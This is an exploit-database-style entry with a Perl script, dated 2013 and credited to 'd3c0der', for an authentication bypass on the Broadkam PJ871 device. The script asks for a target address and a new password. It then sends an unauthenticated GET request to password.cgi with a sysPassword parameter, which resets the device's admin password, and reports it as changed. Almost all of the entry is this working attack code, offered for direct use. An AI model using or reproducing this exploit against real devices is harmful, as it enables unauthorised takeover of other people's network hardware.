[] NeoSense

Broadkam PJ871 - Authentication Bypass

Author: d3c0der
type: webapps
platform: hardware
port: 
date_added: 2013-07-27 
date_updated: 2013-07-27 
verified: 0 
codes: OSVDB-95777 
tags: 
aliases:  
screenshot_url:  
application_url: 

#!/usr/bin/perl
#d3c0der


use HTTP::Request;
use LWP::UserAgent;



print "= Target : ";
$ip=<STDIN>;
chomp $ip;
print "= new password : ";
$npass=<STDIN>;
chomp $npass;

if ( $ip !~ /^http:/ ) {
$ip = 'http://' . $ip;
}
if ( $ip !~ /\/$/ ) {
$ip = $ip . '/';
}
print "\n";

print "->attacking , plz wait ! : $ip\n";




@path1=("password.cgi?sysPassword=$npass");

foreach $ways(@path1){

$final=$ip.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);


}

print "[-] password changed to $npass \n";